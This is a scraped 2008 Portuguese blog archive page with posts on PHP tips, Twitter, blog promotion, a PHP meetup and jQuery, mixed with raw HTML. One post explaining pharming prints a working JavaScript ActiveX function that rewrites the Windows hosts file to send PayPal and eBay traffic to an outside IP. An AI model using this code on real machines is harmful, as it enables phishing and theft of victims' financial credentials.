Algumas Melhores Práticas em PHP

Junho 30, 2008 on 5:49 pm | In Informatica, php, Tutorial | 3 Comments

Pesquisando e vendo códigos por ae, é comum ver diversos erros em códigos por falta de atenção ou qualquer outra justificativa, muitas pessoas não pensam ou não tem tempo de ficar pensando em uma melhor maneira ou talves tenham aprendido da forma errado, por isso estou fazendo este tópico, pensando em trazer um pouco de melhores práticas para se programar em PHP; existem muitas outras dicas que vou tentar trazer aos poucos para vocês aqui !
Não use funções dentro de uma declaração em LOOP:

Exemplo de como não fazer:

PHP:
  1. for ( $i=0; $i
  2. //codigo
  3. }

Exemplo de como fazer:

PHP:
  1. $res=count($valor);
  2. for ( $i=0; $i<$res; $i++){
  3. //codigo
  4. }

Isso deveria ser lógico, porém é muito fácil ver códigos onde para economizar uma linha as pessoas colocam uma função dentro de um loop comprometendo a performace do loop, isso causado pois toda vez que ele rodar o loop terá que chamar uma função, no nosso caso o loop().

Documente sempre seu código:

Isso deveria ser algo a fugir da regra, mas as pessoas tem um custume de deixar isso de lado, sempre para depois, aconteçendo que os códigos nunca são comentados, você não precisa de um pattern para criar seus comentários, isso irá melhorar conforme o tempo, não se preucupe, apenas documente de forma que facilite a vida de outros que poderão mecher no seu código, ou até mesmo você.

Exemplo da minha documentação:

PHP:
  1. /**
  2. * Método construtora da classe ControllerNewsletter
  3. * @access public
  4. * @param $ConexaoSql Variavel Objeto que irá receber Objeto de Dados SQL
  5. * @return void
  6. */
  7. function ControllerNewsletter($ConexaoSql){
  8. $this->ConexaoSql = $ConexaoSql;
  9. }

Finalize sempre suas array com unset e feche sempre as conexões:

Exemplo:

PHP:
  1. $x;
  2. $x = array("a","b","c");
  3. unset($x);
  4. mysql_close($link);

É muito comum hoje em dia as pessoas incializarem variaveis ou não (sempre é bom inicializalas antes de atribuir valores a elas), usam as variaveis ou conexões porém esquecem de fecha-las, o que pode criar um problema de performace no servidor, pois as mesmas ocupam espaço, as vezes bastante espaço no caso de array com bastante valores (retorno de querys), sempre que finalizadas, ja liberam a memória, criando uma melhor performace.

Melhor uso de isset() em vez de strlen():

Exemplo do uso:

PHP:
  1. if (strlen($foo) <5) { echo "Foo é muito pequeno"; }

Exemplo do melhor uso:

PHP:
  1. if (!isset($foo{5})) { echo "Foo é muito pequeno"; }

Bom, como assim ? Muitas vezes você precisa do tamanho de uma string para uma comparação ou qualquer coisa do gênero, sei que para o convencional você irá direto no uso da função strlen, porém ao chamar uma strlen (função) ela tratará seu dado chamando outras diversas funções para retornar o tamanho exato da sua string, diferente da isset (construtor) que não chama outras funções, sendo muito mais rápida de se executar.


RafaelCunha no twitter

Junho 28, 2008 on 11:47 pm | In Festas, Informatica, Mente | No Comments

É isso agora mais uma novidade ou forma de manter os contatos com amigos do php, do psychodelic (Musica), de blogs, de outra cidade e o que aparecer, sempre é bom manter contato ver novidades acontecerem...

Twitter

Se você não entende o funcionamento ou como o twitter pode ser útil, da uma lida o que o PedroMenezes acha, aqueles que quiserem podem me seguir :

Rafael Cunha (Silici0) no Twitter


Publicidade (dica de divulgação)

Junho 27, 2008 on 3:28 pm | In Informatica, SEO | No Comments

<meta content="BrOffice.org 2.4 (Win32)" name="GENERATOR" /><style type="text/css"> <!-- @page { margin: 2cm } P { margin-bottom: 0.21cm } --> </style></p> <p class="western">A algum tempo atrás eu comecei uma brincadeira de divulgação dos meus curriculum pela internet para ver que repercussão poderia ter no mercado, para ver se eu com meu conhecimento (portfólio) poderia ser reconhecido por algumas empresas e ver essa movimentação de perto. O resultado depois de algumas semanas foi a ligação durante alguns meses de profissionais e empresas procurando um serviço um freelance ou qualquer coisa do gênero, alguns até quase rolaram, mas no final me faltou tempo ou talvez até interesse.</p> <p class="western">No momento estou voltando a fazer divulgação do meu próprio blog, procurando melhorar o conteúdo e agradar um número maior de pessoas, por isso tem saído textos com mais freqüência, estou empolgado novamente a escrever, então vou deixar a dica para a divulgação de blog em Diretórios de blog, que existem vários:</p> <ul> <li> <p style="margin-bottom: 0cm" class="western">Top Of Blogs</p> </li> <li> <p style="margin-bottom: 0cm" class="western">Technorati</p> </li> <li> <p style="margin-bottom: 0cm" class="western">Blog Flux</p> </li> <li> <p style="margin-bottom: 0cm" class="western">Blog toplist</p> </li> <li> <p style="margin-bottom: 0cm" class="western">DigNow</p> </li> <li> <p style="margin-bottom: 0cm" class="western">Blog Catalog</p> </li> <li> <p class="western">Blog Blogs</p> </li> </ul> <p class="western">Todos os links se encontram no final da barra lateral a direita. ; ) Ainda fico no briga para me adicionar no <a target="_blank" href="http://www.dmoz.org/" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://www.dmoz.org/');">Dmoz</a>, talvez esteja sendo barrado por estar na categoria errada não sei, mas ta difícil.</p> <p style="margin-bottom: 0cm" class="western"> <div class="feedback"></div> <div align="center"> <script type="text/javascript"><!-- google_ad_client = "pub-4760179460314455"; /* 300x250, criado 16/04/08 */ google_ad_slot = "4540950083"; google_ad_width = 300; google_ad_height = 250; //--> </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script> </div> <br /> <!-- <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"> <rdf:Description rdf:about="http://www.rafaelcunha.com/2008/06/27/publicidade-dica-de-divulgacao/" dc:identifier="http://www.rafaelcunha.com/2008/06/27/publicidade-dica-de-divulgacao/" dc:title="Publicidade (dica de divulgação)" trackback:ping="http://www.rafaelcunha.com/2008/06/27/publicidade-dica-de-divulgacao/trackback/" /> </rdf:RDF> --> <h2 id="post-191"><a href="http://www.rafaelcunha.com/2008/06/26/encontro-de-php-sp-e-hoje/" rel="bookmark" title="Permanent Link to Encontro do PHP-SP é hoje">Encontro do PHP-SP é hoje</a></h2> <small>Junho 26, 2008 on 2:14 pm | In <a href="http://www.rafaelcunha.com/category/informatica/" title="View all posts in Informatica" rel="category tag">Informatica</a>, <a href="http://www.rafaelcunha.com/category/php/" title="View all posts in php" rel="category tag">php</a> | <a href="http://www.rafaelcunha.com/2008/06/26/encontro-de-php-sp-e-hoje/#respond" title="Comment on Encontro do PHP-SP é hoje">No Comments</a></small> <p>Eu sei que é notícia em cima da hora, porém fiquei sabendo hoje, como é do lado do meu trabalho eu vou estar lá. <img src='http://www.rafaelcunha.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> A notícia :</p> <div class="entry clear">Vai ser um encontro para fomentar a atividade do grupo de usuários de PHP-SP que está sendo tocado pelo Marcelo Toscano e Rafael Dohms.<a target="_blank" href="http://www.phpsp.org.br/2008/06/26/" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://www.phpsp.org.br/2008/06/26/');">http://www.phpsp.org.br/</a>Também falaremos sobre as palestras de PHP e o encontro de desenvolvedores de PHP que vai ocorrer no CONILSI em Outubro. Quem estiver interessado em palestrar lá já pode comentar isso. O Augusto da PHP Magazine é que está na organização do CONISLI tocando a parte de PHP.</p> <p>Na 6a. feira temos o  Google Developer Day em Sampa quem quiser ir e conseguiu se inscrever, aparece por lá, vai ter uma turma do PHP-SP por la.</p> <p>O Local ainda não esta definido já que não sabemos a quantidade de pessoas que vão, o que sabemos é que vamos nos encontrar na catraca do metro brigadeiro as 20 horas, já que naquela região tem varios barzinhos.</p> <p>Hora e local</p> <p><strong>Catraca do metro Brigadeiro as 20 horas do dia 26/06/2008</strong></p> <p>Retirado do <a target="_blank" title="PHP- São Paulo" href="http://www.phpsp.org.br/" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://www.phpsp.org.br/');">PHP-SP</a>.</div> <div class="feedback"></div> <div align="center"> <script type="text/javascript"><!-- google_ad_client = "pub-4760179460314455"; /* 300x250, criado 16/04/08 */ google_ad_slot = "4540950083"; google_ad_width = 300; google_ad_height = 250; //--> </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script> </div> <br /> <!-- <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"> <rdf:Description rdf:about="http://www.rafaelcunha.com/2008/06/26/encontro-de-php-sp-e-hoje/" dc:identifier="http://www.rafaelcunha.com/2008/06/26/encontro-de-php-sp-e-hoje/" dc:title="Encontro do PHP-SP é hoje" trackback:ping="http://www.rafaelcunha.com/2008/06/26/encontro-de-php-sp-e-hoje/trackback/" /> </rdf:RDF> --> <h2 id="post-190"><a href="http://www.rafaelcunha.com/2008/06/25/pharming-mais-um-hack/" rel="bookmark" title="Permanent Link to Pharming, mais um hack">Pharming, mais um hack</a></h2> <small>Junho 25, 2008 on 11:20 am | In <a href="http://www.rafaelcunha.com/category/informatica/" title="View all posts in Informatica" rel="category tag">Informatica</a>, <a href="http://www.rafaelcunha.com/category/javascript/" title="View all posts in JavaScript" rel="category tag">JavaScript</a>, <a href="http://www.rafaelcunha.com/category/tutorial/" title="View all posts in Tutorial" rel="category tag">Tutorial</a>, <a href="http://www.rafaelcunha.com/category/hacker/" title="View all posts in Hacker" rel="category tag">Hacker</a> | <a href="http://www.rafaelcunha.com/2008/06/25/pharming-mais-um-hack/#respond" title="Comment on Pharming, mais um hack">No Comments</a></small> <p>Mas o que é pharming ? É a idéia de alterar, sequestrar ou mesmo contaminar o DNS da vítima para levar a vítima a um site falso, por traz disso, roubar dados pessoais, cartões de crédito, dados de banco e dentre outros (vai da imaginação de cada um), pode-se tambem criar um ponte através do de um site para o site desejado e monitorar os dados do trafego assim roubando as informações; mas porque estou falando disso aqui?! É pelo motivo que isso é feito ou pode ser feito através de sites mau intensionados com um simples código JavaScript, essa é a maneira mais utilizada.</p> <p>No windows XP nos temos nossos host no seguinte arquivo :</p> <p><strong> C:/WINDOWS/system32/Drivers/etc/hosts</strong></p> <p>Que contem o seguinte :</p> <p><strong>127.0.0.1 localhost</strong><br /> Dizendo que o localhost aponta para este <a href="http://pt.wikipedia.org/wiki/Protocolo_IP" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://pt.wikipedia.org/wiki/Protocolo_IP');" class="alinks_links" onclick="return alinks_click(this);" title="Internet Protocol" style="padding-right: 13px; background: url(http://rafaelcunha.com/WordPress/wp-content/plugins/alinks/images/external.png) center right no-repeat;" rel="external">ip</a> 127.0.0.1</p> <p>Bom na verdade quando você digitar localhost no seu navegador ele irá procurar por este ip, caso não encontre ele vai tentando diversas combinações com www e .com e diversos outros.</p> <p>O script abaixo mostra um exemplo de como podemos alterar o arquivo com Active-X no JavaScript, claro que o script ira pedir uma autorização, coisa que os hackers resolvem e você é afetado sem perceber. O que ele irá fazer é redirecionar o dominio digitado para o IP desejado.</p> <div class="igBar"><span id="ljavascript-7"><a href="#" onclick="javascript:showCodeTxt('javascript-7'); return false;">PLAIN TEXT</a></span></div> <div class="syntax_hilite"><span class="langName">JAVASCRIPT:</span> <div id="javascript-7"> <div class="javascript"> <ol> <li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;"> <div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #003366; font-weight: bold;">function</span> pharmer<span style="color: #66cc66;">(</span><span style="color: #66cc66;">)</span><span style="color: #66cc66;">{</span></div> </li> <li style="font-weight: bold;color:#26536A;"> <div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #003366; font-weight: bold;">var</span> fso = <span style="color: #003366; font-weight: bold;">new</span> ActiveXObject<span style="color: #66cc66;">(</span><span style="color: #3366CC;">"Scripting.FileSystemObject"</span><span style="color: #66cc66;">)</span>;</div> </li> <li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;"> <div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #003366; font-weight: bold;">var</span> pharm = fso.<span style="color: #006600;">CreateTextFile</span><span style="color: #66cc66;">(</span><span style="color: #3366CC;">"C:<span style="color: #000099; font-weight: bold;">\\</span>WINDOWS<span style="color: #000099; font-weight: bold;">\\</span>system32<span style="color: #000099; font-weight: bold;">\\</span>Drivers<span style="color: #000099; font-weight: bold;">\\</span>etc<span style="color: #000099; font-weight: bold;">\\</span>hosts"</span>, <span style="color: #003366; font-weight: bold;">true</span><span style="color: #66cc66;">)</span>;</div> </li> <li style="font-weight: bold;color:#26536A;"> <div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">pharm.<span style="color: #006600;">WriteLine</span><span style="color: #66cc66;">(</span><span style="color: #3366CC;">'127.0.0.1       localhost'</span><span style="color: #66cc66;">)</span>;</div> </li> <li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;"> <div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">pharm.<span style="color: #006600;">WriteLine</span><span style="color: #66cc66;">(</span><span style="color: #3366CC;">'188.222.33.1    <a href="https://www.paypal.com/row/mrb/pal=2VAJ7L6XR6XWG"  class="alinks_links" onclick="return alinks_click(this);" title="Transferência de dinheiro? BrPay Americano"  style="padding-right: 13px; background: url(http://rafaelcunha.com/WordPress/wp-content/plugins/alinks/images/external.png) center right no-repeat;" rel="external">paypal</a>'</span><span style="color: #66cc66;">)</span>;</div> </li> <li style="font-weight: bold;color:#26536A;"> <div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">pharm.<span style="color: #006600;">WriteLine</span><span style="color: #66cc66;">(</span><span style="color: #3366CC;">'188.222.33.1    www.paypal.com'</span><span style="color: #66cc66;">)</span>;</div> </li> <li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;"> <div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">pharm.<span style="color: #006600;">WriteLine</span><span style="color: #66cc66;">(</span><span style="color: #3366CC;">'188.222.33.1    ebay.com'</span><span style="color: #66cc66;">)</span>;</div> </li> <li style="font-weight: bold;color:#26536A;"> <div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">pharm.<span style="color: #006600;">WriteLine</span><span style="color: #66cc66;">(</span><span style="color: #3366CC;">'188.222.33.1    www.ebay.com'</span><span style="color: #66cc66;">)</span>;</div> </li> <li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;"> <div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">pharm.<span style="color: #000066;">Close</span><span style="color: #66cc66;">(</span><span style="color: #66cc66;">)</span>;</div> </li> <li style="font-weight: bold;color:#26536A;"> <div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">}</span> </div> </li> </ol> </div> </div> </div> <p></p> <p>Coisas que só o <a title="0x0 Hacker webZine" target="_blank" href="http://www.0x000000.com/?i=562" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://www.0x000000.com/?i=562');">0x000000</a> nos ensina.  ; ) </p> <div class="feedback"></div> <div align="center"> <script type="text/javascript"><!-- google_ad_client = "pub-4760179460314455"; /* 300x250, criado 16/04/08 */ google_ad_slot = "4540950083"; google_ad_width = 300; google_ad_height = 250; //--> </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script> </div> <br /> <!-- <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"> <rdf:Description rdf:about="http://www.rafaelcunha.com/2008/06/25/pharming-mais-um-hack/" dc:identifier="http://www.rafaelcunha.com/2008/06/25/pharming-mais-um-hack/" dc:title="Pharming, mais um hack" trackback:ping="http://www.rafaelcunha.com/2008/06/25/pharming-mais-um-hack/trackback/" /> </rdf:RDF> --> <h2 id="post-189"><a href="http://www.rafaelcunha.com/2008/06/24/jquery-a-primeira-coisa-para-aprender/" rel="bookmark" title="Permanent Link to JQuery a primeira coisa para aprender">JQuery a primeira coisa para aprender</a></h2> <small>Junho 24, 2008 on 12:35 am | In <a href="http://www.rafaelcunha.com/category/informatica/" title="View all posts in Informatica" rel="category tag">Informatica</a>, <a href="http://www.rafaelcunha.com/category/javascript/" title="View all posts in JavaScript" rel="category tag">JavaScript</a>, <a href="http://www.rafaelcunha.com/category/jquery/" title="View all posts in JQuery" rel="category tag">JQuery</a> | <a href="http://www.rafaelcunha.com/2008/06/24/jquery-a-primeira-coisa-para-aprender/#comments" title="Comment on JQuery a primeira coisa para aprender">2 Comments</a></small> <p>Se você ja copiou e colou diversos script em <a href="http://jquery.com" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://jquery.com');" class="alinks_links" onclick="return alinks_click(this);" title="JavaScript Framework" style="padding-right: 13px; background: url(http://rafaelcunha.com/WordPress/wp-content/plugins/alinks/images/external.png) center right no-repeat;" rel="external">JQuery</a> e ainda não se preocupou em aprender ou estudar a fundo o funcionamento dele, a primeira coisa com que se preocupar é a função mais importante do JQuery, se você quer que seu código JQuery funcione dentro do seu site, coloque-o dentro da função $(document).ready().</p> <p>Colocando seu código dentro desta função irá fazer com que o código rode assim que o <a href="http://pt.wikipedia.org/wiki/DOM" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://pt.wikipedia.org/wiki/DOM');" class="alinks_links" onclick="return alinks_click(this);" title="Document Object Model" style="padding-right: 13px; background: url(http://rafaelcunha.com/WordPress/wp-content/plugins/alinks/images/external.png) center right no-repeat;" rel="external">DOM</a> esteja pronto no seu site, antes que todo o conteúdo da página seja lida.</p> <div class="igBar"><span id="ljavascript-8"><a href="#" onclick="javascript:showCodeTxt('javascript-8'); return false;">PLAIN TEXT</a></span></div> <div class="syntax_hilite"><span class="langName">JAVASCRIPT:</span> <div id="javascript-8"> <div class="javascript"> <ol> <li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;"> <div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">$<span style="color: #66cc66;">(</span>document<span style="color: #66cc66;">)</span>.<span style="color: #006600;">ready</span><span style="color: #66cc66;">(</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #66cc66;">(</span><span style="color: #66cc66;">)</span><span style="color: #66cc66;">{</span></div> </li> <li style="font-weight: bold;color:#26536A;"> <div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900; font-style: italic;">// coloque todo seu código aqui</span></div> </li> <li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;"> <div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">}</span><span style="color: #66cc66;">)</span>; </div> </li> </ol> </div> </div> </div> <p></p> <p>E fica a dica, você pode criar quantos você quiser. Ele é a troca pelo famoso/antigo window.onload do JavaScript. </p> <div class="feedback"></div> <div align="center"> <script type="text/javascript"><!-- google_ad_client = "pub-4760179460314455"; /* 300x250, criado 16/04/08 */ google_ad_slot = "4540950083"; google_ad_width = 300; google_ad_height = 250; //--> </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script> </div> <br /> <!-- <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"> <rdf:Description rdf:about="http://www.rafaelcunha.com/2008/06/24/jquery-a-primeira-coisa-para-aprender/" dc:identifier="http://www.rafaelcunha.com/2008/06/24/jquery-a-primeira-coisa-para-aprender/" dc:title="JQuery a primeira coisa para aprender" trackback:ping="http://www.rafaelcunha.com/2008/06/24/jquery-a-primeira-coisa-para-aprender/trackback/" /> </rdf:RDF> --> — <a href="http://www.rafaelcunha.com/2008/06/page/2/">Next Page »</a><div id='x' align="center"> <br /> </div> <!-- start footer /--> </td> <td width="80"> </td> <td width="180" valign="top"><br/><br/> <!-- begin sidebar --> <div align="center"> <p><a href="http://feeds.feedburner.com/Silici0" rel="alternate" type="application/rss+xml"><img src="http://www.feedburner.com/fb/images/pub/feed-icon32x32.png" alt="" style="vertical-align:middle;border:0"/></a> <a href="http://feeds.feedburner.com/Silici0" rel="alternate" type="application/rss+xml">Assine o feed</a></p> <br /> <script type="text/javascript"><!-- google_ad_client = "pub-4760179460314455"; /* 120x600, criado 16/04/08 */ google_ad_slot = "4813734789"; google_ad_width = 120; google_ad_height = 600; //--> </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script> </div> <br /> <div id="sidebar"> <div id="categories"> <h3>Top Comentarios:</h3> <ul><li>Ju (23) </li> <li><a href='http://www.aguinelopedroso.com'>Aguinelo Pedroso</a> (13) </li> <li>Julian Silva (8) </li> <li><a href='http://www.bol.com.br'>ncmr</a> (6) </li> <li><a href='http://corporacaoweb.com'>Fill</a> (5) </li> <li>nuno (5) </li> <li>System (4) </li> <li><a href='http://www.kcerimonial.com.br'>Noemi</a> (3) </li> <li><a href='http://www.maispira.com'>Claudio</a> (3) </li> <li>carlo (3) </li> <li>Aline (3) </li> <li><a href='http://www.fotolog.com/rodrigolucena'>rodrigo lucena</a> (2) </li> <li>babs (2) </li> <li><a href='http://www.leonardofaria.net'>Leonardo Faria Coelho</a> (2) </li> <li>Rogério (2) </li> </ul> </div> <div id="categories"> <h3>Categorias:</h3> <ul> <li><a href="http://www.rafaelcunha.com/category/ajax/" title="View all posts filed under AJAX">AJAX</a> (<a href="http://www.rafaelcunha.com/category/ajax/feed/" title="rss">rss</a>) (8) </li> <li><a href="http://www.rafaelcunha.com/category/amor/" title="Post sobre meu amor… Juliana te amo">Amor</a> (<a href="http://www.rafaelcunha.com/category/amor/feed/" title="rss">rss</a>) (7) </li> <li><a href="http://www.rafaelcunha.com/category/dinheiro/" title="View all posts filed under Dinheiro">Dinheiro</a> (<a href="http://www.rafaelcunha.com/category/dinheiro/feed/" title="rss">rss</a>) (17) </li> <li><a href="http://www.rafaelcunha.com/category/festas/" title="Tudo sobre festas, dj´s, raves e mais.">Festas</a> (<a href="http://www.rafaelcunha.com/category/festas/feed/" title="rss">rss</a>) (15) </li> <li><a href="http://www.rafaelcunha.com/category/filmes/" title="View all posts filed under Filmes">Filmes</a> (<a href="http://www.rafaelcunha.com/category/filmes/feed/" title="rss">rss</a>) (6) </li> <li><a href="http://www.rafaelcunha.com/category/gerencia/" title="View all posts filed under Gerencia">Gerencia</a> (<a href="http://www.rafaelcunha.com/category/gerencia/feed/" title="rss">rss</a>) (4) </li> <li><a href="http://www.rafaelcunha.com/category/hacker/" title="View all posts filed under Hacker">Hacker</a> (<a href="http://www.rafaelcunha.com/category/hacker/feed/" title="rss">rss</a>) (5) </li> <li><a href="http://www.rafaelcunha.com/category/informatica/" title="Informatica regada a muita programação em PHP e outros">Informatica</a> (<a href="http://www.rafaelcunha.com/category/informatica/feed/" title="rss">rss</a>) (114) </li> <li><a href="http://www.rafaelcunha.com/category/javascript/" title="View all posts filed under JavaScript">JavaScript</a> (<a href="http://www.rafaelcunha.com/category/javascript/feed/" title="rss">rss</a>) (21) </li> <li><a href="http://www.rafaelcunha.com/category/jquery/" title="View all posts filed under JQuery">JQuery</a> (<a href="http://www.rafaelcunha.com/category/jquery/feed/" title="rss">rss</a>) (9) </li> <li><a href="http://www.rafaelcunha.com/category/juliana/" title="View all posts filed under Juliana">Juliana</a> (<a href="http://www.rafaelcunha.com/category/juliana/feed/" title="rss">rss</a>) (13) </li> <li><a href="http://www.rafaelcunha.com/category/linux/" title="View all posts filed under Linux">Linux</a> (<a href="http://www.rafaelcunha.com/category/linux/feed/" title="rss">rss</a>) (5) </li> <li><a href="http://www.rafaelcunha.com/category/mente/" title="Minha confusa mente. Entenda, aprenda e ensine.">Mente</a> (<a href="http://www.rafaelcunha.com/category/mente/feed/" title="rss">rss</a>) (24) </li> <li><a href="http://www.rafaelcunha.com/category/musica/" title="Sobre musica, basicamente Eletronica…">Musica</a> (<a href="http://www.rafaelcunha.com/category/musica/feed/" title="rss">rss</a>) (12) </li> <li><a href="http://www.rafaelcunha.com/category/php/" title="View all posts filed under php">php</a> (<a href="http://www.rafaelcunha.com/category/php/feed/" title="rss">rss</a>) (40) </li> <li><a href="http://www.rafaelcunha.com/category/portfolio/" title="Meu portfolio, trabalhos e projetos…">Portfolio</a> (<a href="http://www.rafaelcunha.com/category/portfolio/feed/" title="rss">rss</a>) (6) </li> <li><a href="http://www.rafaelcunha.com/category/post-patrocinado/" title="View all posts filed under Post patrocinado">Post patrocinado</a> (<a href="http://www.rafaelcunha.com/category/post-patrocinado/feed/" title="rss">rss</a>) (16) </li> <li><a href="http://www.rafaelcunha.com/category/seo/" title="View all posts filed under SEO">SEO</a> (<a href="http://www.rafaelcunha.com/category/seo/feed/" title="rss">rss</a>) (7) </li> <li><a href="http://www.rafaelcunha.com/category/teatro/" title="View all posts filed under Teatro">Teatro</a> (<a href="http://www.rafaelcunha.com/category/teatro/feed/" title="rss">rss</a>) (2) </li> <li><a href="http://www.rafaelcunha.com/category/trabalho/" title="Meu projetos no trabalho, feitos e em andamentos.">Trabalho</a> (<a href="http://www.rafaelcunha.com/category/trabalho/feed/" title="rss">rss</a>) (47) </li> <li><a href="http://www.rafaelcunha.com/category/tutorial/" title="View all posts filed under Tutorial">Tutorial</a> (<a href="http://www.rafaelcunha.com/category/tutorial/feed/" title="rss">rss</a>) (17) </li> </ul> </div> <div id="archives"> <h3>Arquivos:</h3> <ul> <li><a href='http://www.rafaelcunha.com/2008/08/' title='Agosto 2008'>Agosto 2008</a> (3)</li> <li><a href='http://www.rafaelcunha.com/2008/07/' title='Julho 2008'>Julho 2008</a> (4)</li> <li><a href='http://www.rafaelcunha.com/2008/06/' title='Junho 2008'>Junho 2008</a> (10)</li> <li><a href='http://www.rafaelcunha.com/2008/05/' title='Maio 2008'>Maio 2008</a> (6)</li> <li><a href='http://www.rafaelcunha.com/2008/04/' title='Abril 2008'>Abril 2008</a> (2)</li> <li><a href='http://www.rafaelcunha.com/2008/03/' title='Março 2008'>Março 2008</a> (2)</li> <li><a href='http://www.rafaelcunha.com/2008/02/' title='Fevereiro 2008'>Fevereiro 2008</a> (4)</li> <li><a href='http://www.rafaelcunha.com/2008/01/' title='Janeiro 2008'>Janeiro 2008</a> (2)</li> <li><a href='http://www.rafaelcunha.com/2007/12/' title='Dezembro 2007'>Dezembro 2007</a> (2)</li> <li><a href='http://www.rafaelcunha.com/2007/11/' title='Novembro 2007'>Novembro 2007</a> (3)</li> <li><a href='http://www.rafaelcunha.com/2007/10/' title='Outubro 2007'>Outubro 2007</a> (13)</li> <li><a href='http://www.rafaelcunha.com/2007/09/' title='Setembro 2007'>Setembro 2007</a> (14)</li> <li><a href='http://www.rafaelcunha.com/2007/08/' title='Agosto 2007'>Agosto 2007</a> (25)</li> <li><a href='http://www.rafaelcunha.com/2007/07/' title='Julho 2007'>Julho 2007</a> (14)</li> <li><a href='http://www.rafaelcunha.com/2007/06/' title='Junho 2007'>Junho 2007</a> (11)</li> <li><a href='http://www.rafaelcunha.com/2007/05/' title='Maio 2007'>Maio 2007</a> (18)</li> <li><a href='http://www.rafaelcunha.com/2007/04/' title='Abril 2007'>Abril 2007</a> (25)</li> <li><a href='http://www.rafaelcunha.com/2007/03/' title='Março 2007'>Março 2007</a> (15)</li> <li><a href='http://www.rafaelcunha.com/2007/01/' title='Janeiro 2007'>Janeiro 2007</a> (5)</li> <li><a href='http://www.rafaelcunha.com/2006/12/' title='Dezembro 2006'>Dezembro 2006</a> (9)</li> </ul> </div> <div id="blogroll"> <h3>Links:</h3> <ul> <li><a href="http://www.rafaelcunha.com/Album/" title="Album">Album de Fotos</a> - Album</li> <li><a href="http://www.alvoweb.com/" title="Tutoriais inteligentes">Alvo Web</a> - Tutoriais inteligentes</li> <li><a href="http://daniloprado.blogspot.com/" title="Blog do Danilo Prado">BlogFólio</a> - Blog do Danilo Prado</li> <li><a href="http://fotolog.net/silici0" title=":: Fotolog">Fotolog</a> - :: Fotolog</li> <li><a href="http://www.neolo.com.br" title="Hospedagem de Sites">Hospedagem de sites</a> - Hospedagem de Sites</li> <li><a href="http://fotolog.net/jujutchu" title="Fotolog da Namorada">Jujutchu</a> - Fotolog da Namorada</li> <li><a href="http://www.vidaadois.info" title="Entenda a vida de um casal.">Vida a Dois</a> - Entenda a vida de um casal.</li> </ul> </div> <!-- <div id="meta"> <h3>Meta:</h3> <ul> <li><a href="http://www.rafaelcunha.com/wp-register.php">Register</a></li> <li><a href="http://www.rafaelcunha.com/wp-login.php">Login</a></li> <li><a href="http://gmpg.org/xfn/"><abbr title="XHTML Friends Network">XFN</abbr></a></li> <li><a href="http://wordpress.org/" title="Powered by WordPress, state-of-the-art semantic personal publishing platform."><abbr title="WordPress">WP</abbr></a></li> </ul> </div> --> <div id="blogroll"> <h3>Conecte-se:</h3> <ul> <div align="center"> <li><a href="http://del.icio.us/silici0" title="Meu bookmark" ><img src="http://www.rafaelcunha.com/wp-content/themes/green/images/delicious_48.jpg" alt="Delicious" border="0" /></a>       <a href="http://www.linkedin.com/in/rafaelcunha" title="Meu Curriculum" ><img src="http://www.rafaelcunha.com/wp-content/themes/green/images/linkedin_48.jpg" alt="LinkedIn" border="0" /></a></li> <li><a href="http://www.myspace.com/silici0" title="MySpace" ><img src="http://www.rafaelcunha.com/wp-content/themes/green/images/myspace_48.jpg" alt="MySpace" border="0" /></a>       <a href="http://www.rafaelcunha.com/rss" title="Meu Feed" ><img src="http://www.rafaelcunha.com/wp-content/themes/green/images/rss_48.jpg" alt="Rss" border="0" /></a></li> <li><a href="http://technorati.com/people/technorati/silici0" 